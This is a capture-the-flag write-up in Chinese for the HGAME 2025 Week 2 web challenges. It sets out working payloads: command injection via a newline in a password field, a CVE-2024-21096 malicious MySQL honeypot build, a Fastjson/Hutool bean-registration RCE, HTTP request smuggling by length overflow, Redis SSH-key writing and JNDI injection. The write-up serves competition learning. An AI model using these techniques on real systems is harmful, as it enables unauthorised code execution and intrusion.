HGAME CTF 2025 Week2 Web WP 及复现记录
2025-02-19|CTF

Level 21096 HoneyPot

看源码首先有一堆 API 接口

  • /api/databases:获取数据库列表
  • /api/tables:获取某个数据库的表
  • /api/data:获取表数据
  • /api/database:创建数据库
  • /api/search:搜索表数据
  • /api/test-connection:测试本地数据库连接
  • /api/test-import-connection:测试导入连接
  • /api/connect:连接到数据库
  • /api/import:导入数据

其中,/import 路由对应的处理函数涉及到执行 mysqldump 和 mysql 命令,将远程数据库的数据导入到本地数据库。可能有命令注入

看一下 ImportData 函数的代码:

func ImportData(c *gin.Context) {
    var config ImportConfig
    if err := c.ShouldBindJSON(&config); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{
            "success": false,
            "message": "Invalid request body: " + err.Error(),
        })
        return
    }
    if err := validateImportConfig(config); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{
            "success": false,
            "message": "Invalid input: " + err.Error(),
        })
        return
    }

    config.RemoteHost = sanitizeInput(config.RemoteHost)
    config.RemoteUsername = sanitizeInput(config.RemoteUsername)
    config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
    config.LocalDatabase = sanitizeInput(config.LocalDatabase)
    if manager.db == nil {
        dsn := buildDSN(localConfig)
        db, err := sql.Open("mysql", dsn)
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{
                "success": false,
                "message": "Failed to connect to local database: " + err.Error(),
            })
            return
        }

        if err := db.Ping(); err != nil {
            db.Close()
            c.JSON(http.StatusInternalServerError, gin.H{
                "success": false,
                "message": "Failed to ping local database: " + err.Error(),
            })
            return
        }

        manager.db = db
    }
    if err := createdb(config.LocalDatabase); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{
            "success": false,
            "message": "Failed to create local database: " + err.Error(),
        })
        return
    }
    //Never able to inject shell commands,Hackers can't use this,HaHa
    command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
        config.RemoteHost,
        config.RemoteUsername,
        config.RemotePassword,
        config.RemoteDatabase,
        localConfig.Username,
        localConfig.Password,
        config.LocalDatabase,
    )
    fmt.Println(command)
    cmd := exec.Command("sh", "-c", command)
    if err := cmd.Run(); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{
            "success": false,
            "message": "Failed to import data: " + err.Error(),
        })
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "success": true,
        "message": "Data imported successfully",
    })
}

这里格式化字符串,参数可控,可以注入命令

接下来看sanitizeInput函数的实现:

func sanitizeInput(input string) string {
  reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\` + "`" + `]`)
  return reg.ReplaceAllString(input, "")
}

另外还有对一部分字段的过滤

if match, _ := regexp.MatchString(`^[a-zA-Z0-9\.\-]+$`, config.RemoteHost); !match {
  return fmt.Errorf("invalid remote host")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
  return fmt.Errorf("invalid remote username")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
  return fmt.Errorf("invalid remote database name")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
  return fmt.Errorf("invalid local database name")
}

所以需要从 remote_passwordremote_port 注入。只需插入换行即可。后接注释符注释掉剩下的命令部分(POST /api/import)

{
  "remote_host":"localhost",
  "remote_port":"3306",
  "remote_username":"root",
  "remote_password":"\nsleep 50 #",
  "remote_database":"test",
  "local_database":"test"
}

观察到服务器延迟说明注入成功。执行 /writeflag

{
  "remote_host":"localhost",
  "remote_port":"3306",
  "remote_username":"root",
  "remote_password":"\n/writeflag #",
  "remote_database":"test",
  "local_database":"test"
}

/flag 路由即可看到 flag

Level 21096 HoneyPot Revenge

现在五个字段都有过滤了,命令注入肯定是行不通了。应该是要搭建 MySQL 蜜罐

源码中使用了 mysqldump 从远程 MySQL 服务器下载备份,所以要核心思路是使得目标从蜜罐 dump 到注入任意命令执行的 SQL 文件。关于这个搜索到一个 CVE-2024-21096 Atomic Honeypot: A MySQL Honeypot That Drops Shells

为了不影响自己 VPS 上原有的数据库环境,采用 docker 创建容器:

FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    build-essential cmake bison libncurses5-dev libtirpc-dev libssl-dev pkg-config \
    wget systemd

WORKDIR /tmp
RUN wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz && \
    tar -zxvf mysql-boost-8.0.34.tar.gz

WORKDIR /tmp/mysql-8.0.34

# 版本注入点
RUN sed -i 's/MYSQL_SERVER_VERSION.*/MYSQL_SERVER_VERSION       "8.0.0\\\\n\\\\! /writeflag"/' \
    include/mysql_version.h.in

RUN mkdir build && cd build && \
    cmake .. \
    -DDOWNLOAD_BOOST=1 \
    -DWITH_BOOST=../boost \
    -DCMAKE_INSTALL_PREFIX=/opt/mysql \
    -DMYSQL_DATADIR=/opt/mysql/data \
    -DSYSCONFDIR=/etc/mysql \
    -DWITH_INNOBASE_STORAGE_ENGINE=1 \
    -DWITH_SSL=system && \
    make -j$(nproc) && \
    make install

RUN groupadd mysql && \
    useradd -r -g mysql -s /bin/false mysql && \
    mkdir -p /opt/mysql/data && \
    chown -R mysql:mysql /opt/mysql

COPY init.sh /opt/mysql/init.sh
RUN chmod +x /opt/mysql/init.sh

RUN mkdir -p /etc/mysql
COPY my.cnf /etc/mysql/my.cnf

EXPOSE 3306
CMD ["/opt/mysql/init.sh"]

init.sh 内容:

#!/bin/bash

# 创建基础配置文件(如果不存在)
if [ ! -f /etc/mysql/my.cnf ]; then
    echo "[mysqld]" > /etc/mysql/my.cnf
    echo "bind-address = 0.0.0.0" >> /etc/mysql/my.cnf
fi

# 初始化数据库
/opt/mysql/bin/mysqld --initialize-insecure --user=mysql --basedir=/opt/mysql --datadir=/opt/mysql/data

# 启动服务(后台运行)
/opt/mysql/bin/mysqld_safe --user=mysql &

# 等待MySQL真正启动
echo "Waiting for MySQL to start..."
while ! /opt/mysql/bin/mysqladmin ping -u root --silent; do
    sleep 1
done

# 配置远程访问和认证方式
/opt/mysql/bin/mysql -u root <<-EOF
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';
CREATE USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'root';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EOF

# 保持容器运行
tail -f /dev/null

my.cnf 内容:

[mysqld]
bind-address = 0.0.0.0

由于自己电脑或 VPS 编译都会长时间死机不动所以这题并没有做出来

Level 60 SignInJava

目标是要 RCE

APIGatewayController/api/gateway 接口可以通过 InvokeUtils.invokeBeanMethod 动态调用 Spring Bean 的方法

@Controller
@RequestMapping({"/api"})
public class APIGatewayController {
  @RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST})
  @ResponseBody
  public BaseResponse doPost(HttpServletRequest request) throws Exception {
    try {
      String body = IOUtils.toString(request.getReader());
      Map<String, Object> map = (Map<String, Object>)JSON.parseObject(body, Map.class);
      String beanName = (String)map.get("beanName");
      String methodName = (String)map.get("methodName");
      Map<String, Object> params = (Map<String, Object>)map.get("params");
      if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[] { "flag" }))
        return new BaseResponse(403, "flagTestService offline", null); 
      Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
      return new BaseResponse(200, null, result);
    } catch (Exception e) {
      return new BaseResponse(500, ((Throwable)Objects.<Throwable>requireNonNullElse(e.getCause(), e)).getMessage(), null);
    } 
  }
}

Hutool 工具库有个 SpringUtil.registerBean 方法可以动态注册 Bean,用它注册一个 cn.hutool.core.util.RuntimeUtil 类,后续可直接调用其execForStr方法执行系统命令:

autoType 是 Fastjson 反序列化机制中的核心功能,允许通过 @type 参数指定目标类名进行对象实例化。当 JSON 字符串包含 @type 字段时,Fastjson 会根据该字段值反射创建对应类的实例

POST /api/gateway HTTP/1.1
Host: node1.hgame.vidar.club:30388
Content-Type: application/json

{
  "beanName": "cn.hutool.extra.spring.SpringUtil",
  "methodName": "registerBean",
  "params": {
    "arg0": "rce",
    "arg1": {"@type": "cn.hutool.core.util.RuntimeUtil"}
  }
}

然后可以调用刚刚注册的 bean 的 execForStr 方法执行任意系统命令

RuntimeUtil.execForStr方法接收两个参数:charset(编码)和commands(命令数组)

POST /api/gateway HTTP/1.1
Host: node1.hgame.vidar.club:30388
Content-Type: application/json
Content-Length: 126

{
  "beanName": "rce",
  "methodName": "execForStr",
  "params": {
    "arg0": "utf-8",
    "arg1": ["/readflag"]
  }
}

Level 111 不存在的车厢

源码有一个后端服务器(8080)和反向代理服务器(8081)。目标是要发送一个 POST 请求到 /flag 接口

本地运行两个程序,浏览器访问 8081 端口有输出,而 8080 端口一直转圈圈,终端输出 fail to read as H111 request; unexpected EOF。所以请求需要先经过代理服务器。代理服务器只允许 GET 方法,它收到客户端的 HTTP 请求会将其转换为 H111 协议发送到后端。这里的 H111 应该是自定义的协议

题目描述有四段,整个程序从用户发送请求到返回请求差不多经过了四层。于是想到请求走私。从源码看 协议的反序列化是基于数据段(如方法长度、URI长度、头部数量)的长度读取,所以考虑利用长度处理上的漏洞走私请求

核心思路在于协议使用 uint16 类型存储数据段长度,当实际长度超过 65535(0xFFFF)时二进制截断导致长度值归零,使得后端解析与代理不一致,从而走私请求

Go 语言明确定义了回绕行为,当计算结果超过上限时,会自动回绕(Wrap Around),即 65535 + 1 = 0;当计算结果低于下限时,也会回绕,0 - 1 = 65535

另外,代理服务器使用了连接池,通过 sync.Pool 实现 TCP 连接复用

// proxyHandler.go
pool = sync.Pool{
    New: func() interface{} {
        for {
            conn, _ := net.Dial("tcp", "127.0.0.1:8080") 
            return conn // 持续创建新连接
        }
    },
}

后端服务器通过 for 循环维持连接活性

// main.go (后端)
for {
    conn, _ := listener.Accept()
    go serverH111(conn)  // 每个连接独立协程处理
}

func serverH111(conn net.Conn) {
    defer conn.Close()
    for {  // 保持连接打开状态
        req, _ := ReadH111Request(conn)
        // 处理请求并响应
    }
}

溢出的协议数据会残留在复用连接的缓存区,后端可能会将其解析为第二个独立请求


首先获取 POST /flag 请求的原始字节,在任意一个 main.go 中 main 函数前面部分添加:

var buf bytes.Buffer
err := h111.WriteH111Request(&buf, &http.Request{
  Method:     "POST",
  RequestURI: "/flag",
})

if err != nil {
  fmt.Println("ERR")
}
fmt.Println("LEN: ", buf.Len())
fmt.Println("HEX: ", hex.EncodeToString(buf.Bytes()))

// LEN:  17
// HEX:  0004504f535400052f666c616700000000

然后将上述合法请求填充至 65536 字节,使总长度溢出为 0

yakit 中添加 65519 个空字符的写法:

GET / HTTP/1.1
Host: node1.hgame.vidar.club:30593

{{hexdec(0004504f535400052f666c616700000000)}}{{padding:zero(0|65519)}}

发送几次,非法请求有概率被解析

Level 257 日落的紫罗兰

又给了两个容器。浏览器访问 violet-a.service 容器可以看到左上角一闪而过的 SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3。在浏览器中访问两个容器都是连接已重置。附件给了一个用户名列表:admin hgame2025 bobrov ctfer mysid x1aoP en1Oy

使用 nmap 扫描另一个端口

nmap -sV node1.hgame.vidar.club -p 32571
# PORT      STATE SERVICE VERSION
# 32571/tcp open  redis   Redis key-value store

既然是 redis,尝试连接一下

redis-cli -h node1.hgame.vidar.club -p 32571

能连上,存在未授权访问。因为给了 ssh 端口和一些用户名,所以可以尝试写入 ssh 公钥

# 生成 rsa 密钥对,保存位置:./id_rsa
ssh-keygen -t rsa

# Redis 写入 RDB 文件会附带其他内容,可以插入换行防止干扰
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > modified_id_rsa.pub

cat modified_id_rsa.pub | redis-cli -h node1.hgame.vidar.club -p 32571 -x set ssh_key
redis-cli -h node1.hgame.vidar.club -p 32571
> config set dir /home/mysid/.ssh   # 修改 Redis 持久化目录(其他用户没有相应的目录)
> config set dbfilename "authorized_keys"  # 设置文件名
> save  # 保存数据到磁盘
> exit

然后使用刚才生成的 ssh 私钥登录

ssh -i id_rsa [email protected] -p 30618

cat /flag 没有权限,/readflag 提示需要 root 权限

根目录有个 /app/app.jar,应该有 java 环境,find / -name java 搜索一下 Java 程序找到一个 jdk 目录 /usr/local/openjdk-8(直接检查常见的第三方软件安装目录 /usr/local 也是能看到的)

查找一下可能有的进程,看看它是否在运行

$ ps aux | grep java
root           9  0.9  0.1 38738616 377024 ?     Sl   10:01   0:22 java -jar /app/app.jar
mysid        133  0.0  0.0   3180   660 pts/0    S+   10:41   0:00 grep java

确实在运行,而且是以 root 权限运行的

先尝试把它下载下来

scp -i id_rsa -P 30618 [email protected]:/app/app.jar /home/koi/Desktop/

然后拖到 jd-gui 看源码

这里有个 /search 接口,调用了 LdapLookupService.search 方法,查询参数 baseDNfilter 作为方法参数

alt text

点击查看方法实现

alt text

这是一个通过 JNDI 查询 LDAP 目录服务的 Spring 服务类,核心逻辑是连接 LDAP 服务器并执行搜索。漏洞点在于直接使用用户可控的 baseDN 和 filter 参数构造 LDAP 查询

jdk8 可以使用工具进行 JNDI 注入:JNDIMap

application.properties 中可以看到 LDAP 端口:ldap.url=ldap://127.0.0.1:389

上传 JNDIMap:

scp -i id_rsa -P 30618 JNDIMap-0.0.1.jar [email protected]:/tmp  

启动恶意 LDAP 服务器

# chmod 777 /flag
/usr/local/openjdk-8/bin/java -jar /tmp/JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"

在另一个终端会话中发送查询请求

# SpringBoot 默认 8080 端口
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search

然后就可以 cat /flag